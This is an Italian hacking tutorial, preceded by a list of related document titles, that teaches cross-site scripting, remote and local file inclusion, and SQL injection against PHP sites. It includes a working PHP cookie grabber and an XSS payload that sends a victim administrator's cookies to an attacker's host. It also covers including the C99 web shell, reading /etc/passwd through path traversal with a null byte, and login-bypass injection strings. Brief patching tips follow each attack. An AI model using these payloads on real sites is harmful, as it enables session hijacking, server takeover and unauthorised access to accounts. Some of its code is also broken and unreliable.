[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection



Похожие документы
Programmazione Web. Laboratorio 4: PHP e MySQL

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Modulo 4 Il pannello amministrativo dell'hosting e il database per Wordpress

Sicurezza Informatica: Tecniche di SQL INJECTION

Remote SQL Command Execution

INSTALLAZIONE JOOMLA SU SPAZIO WEB FREE ALTERVISTA

<?php include './include/page.php';

Guida per la registrazione alla piattaforma di Gestione dei Corsi per il Consulente Tecnico Telematico

File, Modifica, Visualizza, Strumenti, Messaggio

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

Guida alla configurazione della posta elettronica dell Ateneo di Ferrara sui più comuni programmi di posta

INDICE. Accesso al Portale Pag. 2. Nuovo preventivo - Ricerca articoli. Pag. 4. Nuovo preventivo Ordine. Pag. 6. Modificare il preventivo. Pag.

Mac Application Manager 1.3 (SOLO PER TIGER)

Dispensa DB Mercato del Lavoro

Laboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014

Manuale di Installazione PHPNuke in Italiano Edizione Visuale By CLA

LABORATORIO PER IL DESIGN DELLE INTERFACCE PEGORARO ALESSANDRO CASSERO.IT MANUALE DI AGGIORNAMENTO, MANUTENZIONE E USO DEL SITO

Joomla: Come installarlo e come usarlo. A cura di

Funzioni non documentate Openoffice.org. 3 Base mini-howto

TUTORIAL PUBBLICARE e INVIARE CIRCOLARI (v 1.5) -- PRIMA FASE -- PUBBLICAZIONE DI UNA CIRCOLARE (e suoi eventuali allegati)

UTILIZZO REGISTRO ELETTRONICO

Guida all utilizzo del CRM

INSTALLAZIONE JOOMLA

19. LA PROGRAMMAZIONE LATO SERVER

I M P O S T A R E U N A C C O U N T D I P O S T A C O N M O Z I L L A T H U N D E R B I R D

I TUTORI. I tutori vanno creati la prima volta seguendo esclusivamente le procedure sotto descritte.

Come modificare la propria Home Page e gli elementi correlati

MANUALE UTENTE INFOCAR REPAIR ACCESSO SMARTPHONE/TABLET

L amministratore di dominio

HORIZON SQL MENU' FILE

FtpZone Guida all uso

Lezioni di Laboratorio sui Data Base

Installazione & Configurazione Php e MySQL su Mac Os X. Php

CONCETTO DI ANNIDAMENTO

SITO DI ZONA

Guida Joomla. di: Alessandro Rossi, Flavio Copes

FtpZone Guida all uso Versione 2.1

Per scrivere una procedura che non deve restituire nessun valore e deve solo contenere le informazioni per le modalità delle porte e controlli

GERARCHIE RICORSIVE - SQL SERVER 2008

Indice generale. Il BACK-END...3 COME CONFIGURARE JOOMLA...4 Sito...4 Locale...5 Contenuti...5

WINDOWS XP. Aprire la finestra che contiene tutte le connessioni di rete in uno dei seguenti modi:

Progetto di Ingegneria del Software 2. SWIMv2

A cura del Prof. Pasquale Vastola. Iscrizione alla piattaforma virtuale MOODLE FASE 1. 1) Accedere al seguente indirizzo internet :

LETTERA D INSTALLAZIONE DELLA PROCEDURA SERVIZI SOCIALI

Per chi ha la Virtual Machine: avviare Grass da terminale, andando su Applicazioni Accessori Terminale e scrivere grass

Office e Applicativi sw

Scrivere su un blog con Word 2007 Di Alberto Mari -

I tutorial di MadLabs.. Installazione e prima configurazione

APRIRE UN PROGRAMMA DI FOGLIO ELETTRONICO

Questa guida vi illustrerà i principali passaggi da eseguire per l'inserimento dei Bandi di gara.

Progetto Porte Aperte sul Web Comunicazione web a scuola CMS open source JoomlaFAP

SOSEBI PAPERMAP2 MODULO WEB MANUALE DELL UTENTE

file:///c:/formazione/photoshop-webmaster-uffici/doc/guida-winzip.htm Guida a Winzip

1. ACCESSO AL PORTALE easytao

Una piattaforma per creare blog, che utilizza il linguaggio PHP e si

Dipartimento di Ingegneria Civile e Ambientale TYPO 3 MANUALE UTENTE

La Stampa Unione. Individuare la lista indirizzi per la Stampa Unione

Manuale Operativo per l utilizzo della piattaforma E-Learning@AQ. Versione 1.1

Database 1 biblioteca universitaria. Testo del quesito

STAMPA UNIONE DI WORD

Sistema Gestionale FIPRO. Dott. Enea Belloni Ing. Andrea Montagnani

Veneto Lavoro via Ca' Marcello 67/b, Venezia-Mestre tel.: 041/ fax: 041/

Installazione LAMP. Installare un server lamp su Linux Ubuntu. Per installare un server LAMP in Ubuntu come prima cosa apriamo il terminale:

LUdeS Informatica 2 EXCEL. Seconda parte AA 2013/2014

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Istruzioni per l installazione del software per gli esami ICoNExam (Aggiornate al 15/01/2014)

ITIS Mattei Sondrio. Appunti veloci su moodle versione 2.7

Lavorare con MySQL Parte Seconda.

DynDNS tra Client e server Linux Ubuntu (Client e server 8.04 LTS)

Database Lezione 1. Sommario. - Introduzione - Tabelle e chiave primaria - Query - Calcoli ed alias - Ordinamento

MySQL Database Management System

Lezione 9. Applicazioni tradizionali

Istruzioni per il server

ESERCITAZIONE Semplice creazione di un sito Internet

COSTRUZIONE SITO WEB da AlterVista (

Vi ricordiamo che per qualsiasi problema tecnico o informazione potete contattare info@eduitalia.org oppure Francesco al

MySQL Database Management System

SVILUPPO DEL BLOG Autori: Ilari Michele, Cimini Oscar, Zaleski Dawid

Servizio di backup dei dati mediante sincronizzazione

operazioni preliminari 1. generare il proprio sito con FCM (stagione in corso) selezionando, nelle interrogazioni, "tutti i dati" come in figura

OSSIF WEB. Manuale query builder

Manuale Amministratore bloodmanagement.it

Guida alla personalizzazione delle stampe per Scrutinio 10 e Lode e ScrutiniOnLine

Per accedere clicca su START o AVVIO (in basso a sinistra sul tuo schermo), poi su PROGRAMMI, ACCESSORI e infine su BLOCCO NOTE.

NUOVA PROCEDURA COPIA ED INCOLLA PER L INSERIMENTO DELLE CLASSIFICHE NEL SISTEMA INFORMATICO KSPORT.

NOZIONI BASE PER ESERCITAZIONI

Capitolo 4 Pianificazione e Sviluppo di Web Part

GUIDA INSERIMENTO ARTICOLI SUL BLOG PCFACTORY.IT

ARCHIVIA PLUS VERSIONE SQL SERVER

Installare Ubuntu su macchina virtuale

Транскрипт:

---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ --------------------------------------------------------------------- Accenno alle Tecniche Più Famose Autore: DevilAuron For Info: http://devilsnight.altervista.org --------------------------------------------------------------------- [1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection ---------------------------------------------------------------------

Cross Site Scripting Xss Il Cross Site Scripting è una tecnica effettuata tramite immissione di codice javascript via input. Uno dei suoi scopi principali ( non l unico ) è quello di impossessarsi dei cookie della vittima. Immaginiamo di avere una pagina con un sorgente come questo: index.php: print $_GET['variabile']; E proviamo a inserire un alert nella variabile GET: http://sito.it/index.php?variabile=<script>alert(1)</script> ci apparirà semplicemente un alert con scritto 1. Ma questa tecnica (apparentemente innocua) è molto utile. Proviamo a rubare i cookie dell admin del sito con una xss: Innanzi tutto ci serve un Cookie Grabber, /* www.devilsnight.altervista.org */ $cookie = $_GET['cookie']; // $time = date("y-m-d G:i:s A"); // Segna la data $wr = fopen("cookies.html", "a"); //Apre il file cookies.html fwrite($wr, 'Cookie: <b>:.$cookie. </b><br>'); // Stampa I Cookie fclose($wr); // Chiude il file Bene.. ora, dopo aver trovato una xss cerchiamo di sfruttarla in questo modo: http://sito.it/index.php?variabile=<script>window.location="http://tuosito.it/cg.php?cookie="+ document.cookie</script> Inviamo la pagina all amministratore del sito e andiamo a visitare la pagina cookies.html, dentro ci troveremo dentro i cookie dell admin ^^ Patching Ma come faremo a proteggerci da questi attacchi? Fortunatamente gli sviluppatori del php hanno inventato le funzioni htmlspecialchars e htmlentities: Ecco un esempio di codice NON vulnerabile: print htmlspecialchars($_get['variabile']); Oppure: print htmlentities($_get['variabile']);

Provate ora e vedrete che andando su http://sito.it/index.php?variabile=<script>alert(1)</script>non comparirà più l alert ^^ Remote File Inclusion File Inclusion (Remote/Local) Il Remote File Inclusion ( RFI : Inclusione di file da remoto ) è una tecnica che consiste nell includere file esterni (in un sito vittima ) Consiglio per chi è alle prime armi di scaricarsi la shell C99 e salvarla sul proprio sito in formato txt (mi raccomando non php, altrimenti il file verrà intepretato sul NOSTRO server) Ora supponiamo di avere una pagina vulnerabile di questo tipo $vuln = $_GET['rfi']; include ($vuln); Questo è chiaramente uno script vulnerabile a attacchi RFI poichè include file non specificati e quindi è possibile includere anche file esterni (remoti) Quindi potremo attaccare il sito in questo modo: http://sito.it/pagvuln.php?rfi=http://sito.it/nostrashell.txt?cmd=ls Ma cosa sono quei segni alla fine? (?cmd=ls) Immaginiamo che al posto del codice scritto prima avessimo una cosa del genere $vuln = $_GET['rfi']; include ($vuln. '/boh.php'); In questo caso mettendo senza punto interrogativo il server includerà il file http://sito.it/nostrashell.txt/boh.php E chiaramente darà errore Invece aggiungendo?cmd=ls (comando *nix) mi aprirà la pagina http://sito.it/nostrashell.txt?cmd=ls/boh.php E includerà correttamente la nostra shell NB: basta aggiungere solo il? (punto interrogativo) che?cmd=ls Local File Inclusion Il Local File Inclusion ( LFI: Inclusione di file locali ) è una tecnica molto simile al RFI ma può includere solo file interni al server Per esempio potremo chiedere al sito i nomi degli user e le password in questo modo: http://sito.it/pagvuln.php?lol=../../../../../../../etc/passwd

Ma forse molte volte questo attacco non farà nessun effetto Perché se il sorgente è simile a questo: $lol = $_GET['lol']; include("$lol.php"); Tenterà di aprire il file../../../../../../../etc/passwd.php (e naturalmente darà errore) Quindi inseriamo alla fine %00 (null byte): http://sito.it/pagvuln.php?lol=../../../../../../../etc/passwd%00 E molto probabilmente così funzionerà ^^ Patching Sia per il RFI che per il LFI il consiglio che do è quello di non includere variabili non controllate ma di specificare sempre la cartella da dove includere files Per Esempio: $lol = $_GET['lol']; include("$lol.php"); Lo Faremo diventare $lol = "./"; include("$lol". "pagina.php");

SQL Injection Prima di vedere questa tecnica è necessaria una conoscenza del linguaggio SQL Al giorno d oggi (quasi) ogni sito usa un database (quasi sempre) MySql. Possiamo mandare al nostro database dei valori sia in forma GET che POST Per provare se un sito è vulnerabile proviamo a inserire ' nel campo user (o password) Se apparirà una cosa simile: Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. Il sito molto probabilmente sarà vulnerabile. Analizziamo come mandare al database dei valori tramite GET: Innanzi tutto stabiliamo le due variabili (in questo caso name e pwd) $name = $_GET['username']; $pwd = $_GET['pwd']; Ora scriviamo la query sql $boh = mysql_query( SELECT * FROM nometabella WHERE username='$name' AND pwd='$pwd' ); e proviamo ad inserire in entrambi i campi questo codice : ' or '1'='1 O ancora più semplicemente or ''=' www.sito.it/admin/index.php?username=' or ''='&pwd=' or ''=' Cosa succede? La pagina manda questa query al db: SELECT * FROM nometabella WHERE username='' or ''=''AND pwd='' or ''='' Quindi ci loggheremo (senza aver fornito le credenziali) senza problemi ^^ NB: in verità basterà inserire solamente nel campo della password il codice: SELECT * FROM nometabella WHERE username=''and pwd='' or ''='' Patching: Vediamo come patchare i codici riportati qui sopra:

Ci sono due modi, uno è usato quando il valore è letterale, l altro quando è numerico: Nel primo caso si usa la funzione mysql_real_escape_string che (quasi come l htmlspecialchar per le xss) filtra i codici malvagi: $pwd = mysql_real_escape_string ($_GET['pwd']; Mentre per i valori numerici (interi) si aggiunge un (int) : $userid = (int) $_GET['userid']; In questo caso tutto quello che non è numerico non viene considerato. Bene.. Anche questo tutorial è finito ^^ Spero di avervi chiarito qualche dubbio, per qualsiasi domanda mi trovate su http://devilsnight.altervista.org

// S & S Style - DevilAuron - - Devils Night Crew - - http://devilsnight.altervista.org -